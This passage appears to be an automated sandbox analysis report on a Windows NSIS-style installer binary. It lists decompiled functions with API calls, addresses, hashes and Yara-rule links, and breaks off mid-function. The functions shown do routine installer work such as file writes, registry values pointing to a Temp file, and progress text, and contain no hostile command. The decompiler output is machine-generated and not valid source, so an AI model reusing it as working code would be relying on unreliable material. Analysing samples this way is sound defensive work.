Instruction ID: 6c7fdd900eb09a88ca35fb2207b5deae9db7ec429e3ae93f4f07cdddb38981b8
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: 1F219671904744ABCB219F78DD08B4B7FF8AF00715F048A2AF856E22E1C338EA04CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6FC624D8, Relevance: 10.6, APIs: 7, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6FC624D8(intOrPtr* _a4) {
				char _v80;
				int _v84;
				intOrPtr _v88;
				short _v92;
				intOrPtr* _t28;
				void* _t30;
				intOrPtr _t31;
				signed int _t43;
				void* _t44;
				intOrPtr _t45;
				void* _t48;

				_t44 = E6FC61215();
				_t28 = _a4;
				_t45 =  *((intOrPtr*)(_t28 + 0x814));
				_v88 = _t45;
				_t48 = (_t45 + 0x41 << 5) + _t28;
				do {
					if( *((intOrPtr*)(_t48 - 4)) >= 0) {
					}
					_t43 =  *(_t48 - 8) & 0x000000ff;
					if(_t43 <= 7) {
						switch( *((intOrPtr*)(_t43 * 4 +  &M6FC62626))) {
							case 0:
								 *_t44 = 0;
								goto L17;
							case 1:
								__eax =  *__eax;
								if(__ecx > __ebx) {
									_v84 = __ecx;
									__ecx =  *(0x6fc6307c + __edx * 4);
									__edx = _v84;
									__ecx = __ecx * __edx;
									asm("sbb edx, edx");
									__edx = __edx & __ecx;
									__eax = __eax &  *(0x6fc6309c + __edx * 4);
								}
								_push(__eax);
								goto L15;
							case 2:
								__eax = E6FC61429(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L16;
							case 3:
								__eax = lstrcpynA(__edi,  *__eax,  *0x6fc6405c);
								goto L17;
							case 4:
								__ecx =  *0x6fc6405c;
								__edx = __ecx - 1;
								__eax = WideCharToMultiByte(__ebx, __ebx,  *__eax, __ecx, __edi, __edx, __ebx, __ebx);
								__eax =  *0x6fc6405c;
								 *((char*)(__eax + __edi - 1)) = __bl;
								goto L17;
							case 5:
								__ecx =  &_v80;
								_push(0x27);
								_push(__ecx);
								_push( *__eax);
								__imp__StringFromGUID2();
								__eax =  &_v92;
								__eax = WideCharToMultiByte(__ebx, __ebx,  &_v92,  &_v92, __edi,  *0x6fc6405c, __ebx, __ebx);
								goto L17;
							case 6:
								_push( *__esi);
								L15:
								__eax = wsprintfA(__edi, 0x6fc64000);
								L16:
								__esp = __esp + 0xc;
								goto L17;
						}
					}
					L17:
					_t30 =  *(_t48 + 0x14);
					if(_t30 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t48 - 4)) > 0)) {
						GlobalFree(_t30);
					}
					_t31 =  *((intOrPtr*)(_t48 + 0xc));
					if(_t31 != 0) {
						if(_t31 != 0xffffffff) {
							if(_t31 > 0) {
								E6FC612D1(_t31 - 1, _t44);
								goto L26;
							}
						} else {
							E6FC61266(_t44);
							L26:
						}
					}
					_v88 = _v88 - 1;
					_t48 = _t48 - 0x20;
				} while (_v88 >= 0);
				return GlobalFree(_t44);
			}

0x6fc624e4
0x6fc624e6
0x6fc624f0
0x6fc624f6
0x6fc62500
0x6fc62504
0x6fc62509
0x6fc62509
0x6fc62511
0x6fc62518
0x6fc6251e
0x00000000
0x6fc62525
0x00000000
0x00000000
0x6fc6252c
0x6fc62530
0x6fc62533
0x6fc62537
0x6fc6253e
0x6fc62542
0x6fc62548
0x6fc6254a
0x6fc6254c
0x6fc6254c
0x6fc62553
0x00000000
0x00000000
0x6fc6255c
0x00000000
0x00000000
0x6fc6256c
0x00000000
0x00000000
0x6fc62598
0x6fc625a0
0x6fc625aa
0x6fc625ac
0x6fc625b1
0x00000000
0x00000000
0x6fc62574
0x6fc62578
0x6fc6257a
0x6fc6257b
0x6fc6257d
0x6fc6258d
0x6fc62594
0x00000000
0x00000000
0x6fc625b7
0x6fc625b9
0x6fc625bf
0x6fc625c5
0x6fc625c5
0x00000000
0x00000000
0x6fc6251e
0x6fc625c8
0x6fc625c8
0x6fc625cd
0x6fc625de
0x6fc625de
0x6fc625e4
0x6fc625e9
0x6fc625ee
0x6fc625fa
0x6fc625ff
0x00000000
0x6fc62604
0x6fc625f0
0x6fc625f1
0x6fc62605
0x6fc62605
0x6fc625ee
0x6fc62606
0x6fc6260a
0x6fc6260d
0x6fc62625

APIs

Part of subcall function 6FC61215: GlobalAlloc.KERNELBASE(00000040,6FC61233,?,6FC612CF,-6FC6404B,6FC611AB,-000000A0), ref: 6FC6121D

GlobalFree.KERNEL32 ref: 6FC625DE
GlobalFree.KERNEL32 ref: 6FC62618

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: cd830f50957ee8c9accfd4795cb041ab55deba8444773428ff4efd13a4db05d0
Instruction ID: b1fe3f1e8485c31cde97b7844cc551f13f10a116586d6da6b4e132b5114904a1
Opcode Fuzzy Hash: cd830f50957ee8c9accfd4795cb041ab55deba8444773428ff4efd13a4db05d0
Instruction Fuzzy Hash: 9A41D47190C202EFCB158F69CDE4CBAB7BAFB86715B00456DF64187240E731E918CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0040267C, Relevance: 10.6, APIs: 7, Instructions: 89
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040267C(struct _OVERLAPPED* __ebx) {
				void* _t27;
				long _t32;
				struct _OVERLAPPED* _t47;
				void* _t51;
				void* _t53;
				void* _t56;
				void* _t57;
				void* _t58;

				_t47 = __ebx;
				 *(_t58 - 8) = 0xfffffd66;
				_t52 = E004029F6(0xfffffff0);
				 *(_t58 - 0x44) = _t24;
				if(E0040553D(_t52) == 0) {
					E004029F6(0xffffffed);
				}
				E00405695(_t52);
				_t27 = E004056B4(_t52, 0x40000000, 2);
				 *(_t58 + 8) = _t27;
				if(_t27 != 0xffffffff) {
					_t32 =  *0x423e94;
					 *(_t58 - 0x2c) = _t32;
					_t51 = GlobalAlloc(0x40, _t32);
					if(_t51 != _t47) {
						E00403080(_t47);
						E0040304E(_t51,  *(_t58 - 0x2c));
						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x1c));
						 *(_t58 - 0x30) = _t56;
						if(_t56 != _t47) {
							E00402E5B( *((intOrPtr*)(_t58 - 0x20)), _t47, _t56,  *(_t58 - 0x1c));
							while( *_t56 != _t47) {
								_t49 =  *_t56;
								_t57 = _t56 + 8;
								 *(_t58 - 0x38) =  *_t56;
								E00405675( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
								_t56 = _t57 +  *(_t58 - 0x38);
							}
							GlobalFree( *(_t58 - 0x30));
						}
						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x2c), _t58 - 8, _t47);
						GlobalFree(_t51);
						 *(_t58 - 8) = E00402E5B(0xffffffff,  *(_t58 + 8), _t47, _t47);
					}
					CloseHandle( *(_t58 + 8));
				}
				_t53 = 0xfffffff3;
				if( *(_t58 - 8) < _t47) {
					_t53 = 0xffffffef;
					DeleteFileA( *(_t58 - 0x44));
					 *((intOrPtr*)(_t58 - 4)) = 1;
				}
				_push(_t53);
				E00401423();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t58 - 4));
				return 0;
			}

0x0040267c
0x0040267e
0x0040268a
0x0040268d
0x00402697
0x0040269b
0x0040269b
0x004026a1
0x004026ae
0x004026b6
0x004026b9
0x004026bf
0x004026cd
0x004026d2
0x004026d6
0x004026d9
0x004026e2
0x004026ee
0x004026f2
0x004026f5
0x004026ff
0x0040271e
0x00402706
0x0040270b
0x00402713
0x00402716
0x0040271b
0x0040271b
0x00402725
0x00402725
0x00402737
0x0040273e
0x00402750
0x00402750
0x00402756
0x00402756
0x00402761
0x00402762
0x00402766
0x0040276a
0x00402770
0x00402770
0x00402777
0x00402164
0x0040288e
0x0040289a

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
GlobalFree.KERNEL32 ref: 00402725
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
GlobalFree.KERNEL32 ref: 0040273E
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: b65008d77356e61c7ec7953c9ee0e327e44be4943e63621df6e0ee83a23bc65b
Instruction ID: 12be5ee7c0a04460072f4a22dab7179149aa53ae67e7a866020ad89d1ba75591
Opcode Fuzzy Hash: b65008d77356e61c7ec7953c9ee0e327e44be4943e63621df6e0ee83a23bc65b
Instruction Fuzzy Hash: 5831C071C00128BBDF216FA5CD88EAE7E79EF04368F10423AF524762E0C7795D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404D7B, Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404D7B(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423664;
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x423f34;
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E004059FF(0, _t39, 0x41fc50, 0x41fc50, _a4);
					}
					_t26 = lstrlenA(0x41fc50);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423648, 0x41fc50);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41fc50;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41fc50)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41fc50, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00404d81
0x00404d8d
0x00404d90
0x00404d96
0x00404da2
0x00404da5
0x00404da8
0x00404dae
0x00404dae
0x00404db4
0x00404dbc
0x00404dbf
0x00404ddc
0x00404de0
0x00404de9
0x00404de9
0x00404df3
0x00404dfc
0x00404e08
0x00404e0f
0x00404e13
0x00404e16
0x00404e29
0x00404e37
0x00404e37
0x00404e3b
0x00404e3d
0x00404e40
0x00000000
0x00404e40
0x00404dc1
0x00404dc9
0x00404dd1
0x00404dd7
0x00000000
0x00404dd7
0x00404dd1
0x00404dbf
0x00404e4a

APIs

lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E0F
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E29
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E37

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: aa11647610f970b6d5c89beb7753eaef7f091513a46ac0765cbf1dd94c7bd241
Instruction ID: 7f48be0438031ac4014e4461c76190d89e96d247d5b12388d0b77bfdc4e74ae1
Opcode Fuzzy Hash: aa11647610f970b6d5c89beb7753eaef7f091513a46ac0765cbf1dd94c7bd241
Instruction Fuzzy Hash: 09216DB1E00158BBDB119FA5CD84ADEBFB9FF45354F14807AFA04B6290C7398A419B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040464A, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040464A(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404658
0x00404665
0x0040466b
0x004046a9
0x004046a9
0x004046b8
0x004046bf
0x00000000
0x004046c1
0x0040466d
0x0040467c
0x00404684
0x00404687
0x00404699
0x0040469f
0x004046a6
0x00000000
0x004046a6
0x00000000

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404665
GetMessagePos.USER32 ref: 0040466D
ScreenToClient.USER32 ref: 00404687
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404699
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004046BF

Strings

f, xrefs: 0040469B

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: 811e074b116e6ce6d11e192741490be2760717d42b69e64a674173994bb84636
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: 4E014C71D00219BADB00DBA4DC85FFEBBB8AB59711F10052ABA00B61D0D7B8A9058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B3B, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B3B(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x40b018; // 0x8200
					_t11 =  *0x41f028;
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b48
0x00402b56
0x00402b5c
0x00402b5c
0x00402b6a
0x00402b6c
0x00402b72
0x00402b79
0x00402b7b
0x00402b7b
0x00402b91
0x00402ba1
0x00402bb3
0x00402bb3
0x00402bbb

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B56
MulDiv.KERNEL32(00008200,00000064,?), ref: 00402B81
wsprintfA.USER32 ref: 00402B91
SetWindowTextA.USER32(?,?), ref: 00402BA1
SetDlgItemTextA.USER32 ref: 00402BB3

Strings

verifying installer: %d%%, xrefs: 00402B8B

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: bd1d3871bc3dbc50f966d73cf0113ae7f1e1d2dda644773975aa317f12337262
Instruction ID: e41715c37a5330c5740685503c003044c4943c79b663b03d39d41db920bc543d
Opcode Fuzzy Hash: bd1d3871bc3dbc50f966d73cf0113ae7f1e1d2dda644773975aa317f12337262
Instruction Fuzzy Hash: 34014470A00209ABDB249F60DD09EAE3779AB04345F008039FA16B92D1D7B49A559F99

Uniqueness

Uniqueness Score: -1.00%

Function 6FC622F1, Relevance: 9.1, APIs: 6, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6FC622F1(void* __edx, intOrPtr _a4) {
				signed int _v4;
				signed int _v8;
				void* _t38;
				signed int _t39;
				void* _t40;
				void* _t43;
				void* _t48;
				signed int* _t50;
				signed char* _t51;

				_v8 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
				while(1) {
					_t9 = _a4 + 0x818; // 0x818
					_t51 = (_v8 << 5) + _t9;
					_t38 = _t51[0x18];
					if(_t38 == 0) {
						goto L9;
					}
					_t48 = 0x1a;
					if(_t38 == _t48) {
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						if(_t38 <= 0 || _t38 > 0x19) {
							_t51[0x18] = _t48;
						} else {
							_t38 = E6FC612AD(_t38 - 1);
							L10:
						}
						goto L11;
					} else {
						_t38 = E6FC6123B();
						L11:
						_t43 = _t38;
						_t13 =  &(_t51[8]); // 0x820
						_t50 = _t13;
						if(_t51[4] >= 0) {
						}
						_t39 =  *_t51 & 0x000000ff;
						_t51[0x1c] = _t51[0x1c] & 0x00000000;
						_v4 = _t39;
						if(_t39 > 7) {
							L27:
							_t40 = GlobalFree(_t43);
							if(_v8 == 0) {
								return _t40;
							}
							if(_v8 !=  *((intOrPtr*)(_a4 + 0x814))) {
								_v8 = _v8 + 1;
							} else {
								_v8 = _v8 & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t39 * 4 +  &M6FC6247E))) {
								case 0:
									 *_t50 =  *_t50 & 0x00000000;
									goto L27;
								case 1:
									__eax = E6FC612FE(__ebx);
									goto L20;
								case 2:
									 *__ebp = E6FC612FE(__ebx);
									_a4 = __edx;
									goto L27;
								case 3:
									__eax = E6FC61224(__ebx);
									 *(__esi + 0x1c) = __eax;
									L20:
									 *__ebp = __eax;
									goto L27;
								case 4:
									 *0x6fc6405c =  *0x6fc6405c +  *0x6fc6405c;
									__edi = GlobalAlloc(0x40,  *0x6fc6405c +  *0x6fc6405c);
									 *0x6fc6405c = MultiByteToWideChar(0, 0, __ebx,  *0x6fc6405c, __edi,  *0x6fc6405c);
									if(_v4 != 5) {
										 *(__esi + 0x1c) = __edi;
										 *__ebp = __edi;
									} else {
										__eax = GlobalAlloc(0x40, 0x10);
										_push(__eax);
										 *(__esi + 0x1c) = __eax;
										_push(__edi);
										 *__ebp = __eax;
										__imp__CLSIDFromString();
										__eax = GlobalFree(__edi);
									}
									goto L27;
								case 5:
									if( *__ebx != 0) {
										__eax = E6FC612FE(__ebx);
										 *__edi = __eax;
									}
									goto L27;
								case 6:
									__esi =  *(__esi + 0x18);
									__esi = __esi - 1;
									__esi = __esi *  *0x6fc6405c;
									__esi = __esi +  *0x6fc64064;
									__eax = __esi + 0xc;
									 *__edi = __esi + 0xc;
									asm("cdq");
									__eax = E6FC61429(__edx, __esi + 0xc, __edx, __esi);
									goto L27;
							}
						}
					}
					L9:
					_t38 = E6FC61224(0x6fc64034);
					goto L10;
				}
			}

0x6fc62306
0x6fc6230a
0x6fc62315
0x6fc62315
0x6fc6231c
0x6fc62321
0x00000000
0x00000000
0x6fc62325
0x6fc62328
0x00000000
0x00000000
0x6fc6232d
0x6fc62338
0x6fc62348
0x6fc6233f
0x6fc62341
0x6fc62357
0x6fc62357
0x00000000
0x6fc6232f
0x6fc6232f
0x6fc62358
0x6fc6235c
0x6fc6235e
0x6fc6235e
0x6fc62361
0x6fc62361
0x6fc62369
0x6fc6236c
0x6fc62373
0x6fc62377
0x6fc62446
0x6fc62447
0x6fc62452
0x6fc6247d
0x6fc6247d
0x6fc62462
0x6fc6246e
0x6fc62464
0x6fc62464
0x6fc62464
0x00000000
0x6fc6237d
0x6fc6237d
0x00000000
0x6fc62384
0x00000000
0x00000000
0x6fc6238d
0x00000000
0x00000000
0x6fc6239b
0x6fc6239e
0x00000000
0x00000000
0x6fc623a7
0x6fc623ac
0x6fc623af
0x6fc623b0
0x00000000
0x00000000
0x6fc623bd
0x6fc623c8
0x6fc623d7
0x6fc623e2
0x6fc62405
0x6fc62408
0x6fc623e4
0x6fc623e8
0x6fc623ee
0x6fc623ef
0x6fc623f2
0x6fc623f3
0x6fc623f6
0x6fc623fd
0x6fc623fd
0x00000000
0x00000000
0x6fc62410
0x6fc62413
0x6fc6241f
0x6fc62421
0x00000000
0x00000000
0x6fc62424
0x6fc62427
0x6fc62428
0x6fc6242f
0x6fc62436
0x6fc62439
0x6fc6243b
0x6fc6243e
0x00000000
0x00000000
0x6fc6237d
0x6fc62377
0x6fc6234d
0x6fc62352
0x00000000
0x6fc62352

APIs

GlobalFree.KERNEL32 ref: 6FC62447

Part of subcall function 6FC61224: lstrcpynA.KERNEL32(00000000,?,6FC612CF,-6FC6404B,6FC611AB,-000000A0), ref: 6FC61234

GlobalAlloc.KERNEL32(00000040,?), ref: 6FC623C2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 6FC623D7
GlobalAlloc.KERNEL32(00000040,00000010), ref: 6FC623E8
CLSIDFromString.OLE32(00000000,00000000), ref: 6FC623F6
GlobalFree.KERNEL32 ref: 6FC623FD

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: cc53041c4c51cc1fe363b99952b1a5d8111e32310fce3b09b3518752f6b251a6
Instruction ID: c3f224bea0b3351e653a066a3c64691a980723c1b53fd25da6a7cea35e6e7c2c
Opcode Fuzzy Hash: cc53041c4c51cc1fe363b99952b1a5d8111e32310fce3b09b3518752f6b251a6
Instruction Fuzzy Hash: C0419E7150C702EFDB108F6A89D4BBAB7F8FF81725F00896AE555DA190F730A548CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00402303, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00402303(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				char _t24;
				int _t27;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402AEB(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x14));
				 *(_t37 - 0x30) =  *(_t37 - 0x10);
				 *(_t37 - 0x44) = E004029F6(2);
				_t18 = E004029F6(0x11);
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27,  *0x423f30 | 0x00000002, _t27, _t37 + 8, _t27);
				if(_t19 == 0) {
					if(_t35 == 1) {
						E004029F6(0x23);
						_t19 = lstrlenA(0x40a350) + 1;
					}
					if(_t35 == 4) {
						_t24 = E004029D9(3);
						 *0x40a350 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402E5B( *((intOrPtr*)(_t37 - 0x18)), _t27, 0x40a350, 0xc00);
					}
					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x44), _t27,  *(_t37 - 0x30), 0x40a350, _t19) == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x423f08 =  *0x423f08 +  *(_t37 - 4);
				return 0;
			}

0x00402304
0x00402309
0x00402313
0x0040231d
0x00402320
0x0040233a
0x00402341
0x00402349
0x00402357
0x0040235b
0x00402366
0x00402366
0x0040236a
0x0040236e
0x00402374
0x00402379
0x00402379
0x0040237d
0x00402389
0x00402389
0x004023a2
0x004023a4
0x004023a4
0x004023a7
0x0040247d
0x0040247d
0x0040288e
0x0040289a

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402341
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nspE538.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402361
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nspE538.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040239A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nspE538.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040247D

Strings

C:\Users\user\AppData\Local\Temp\nspE538.tmp, xrefs: 00402352, 00402360, 00402374, 00402384, 0040238F

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nspE538.tmp
API String ID: 1356686001-543994899
Opcode ID: 9ba96a6a32475b5f8f04ccfbc4be301ddec9fd1a1c55997cdc687cc56a4b0e43
Instruction ID: 0c84a363429982d99d3a5a271a87b4b8d308e401ccf86a25fc22d5166c0076e5
Opcode Fuzzy Hash: 9ba96a6a32475b5f8f04ccfbc4be301ddec9fd1a1c55997cdc687cc56a4b0e43
Instruction Fuzzy Hash: 781163B1E00209BFEB10AFA4DE49EAF767CFB40358F10413AF901B61D0D6B85D019669

Uniqueness

Uniqueness Score: -1.00%

Function 6FC61837, Relevance: 7.7, APIs: 5, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E6FC61837(signed int __edx, void* __eflags, void* _a8, void* _a16) {
				void* _v8;
				signed int _v12;
				signed int _v20;
				signed int _v24;
				char _v52;
				void _t45;
				void _t46;
				signed int _t47;
				signed int _t48;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				signed int _t60;
				signed int _t61;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				signed int _t77;
				void* _t81;
				signed int _t83;
				signed int _t85;
				signed int _t87;
				signed int _t90;
				void* _t101;

				_t85 = __edx;
				 *0x6fc6405c = _a8;
				_t77 = 0;
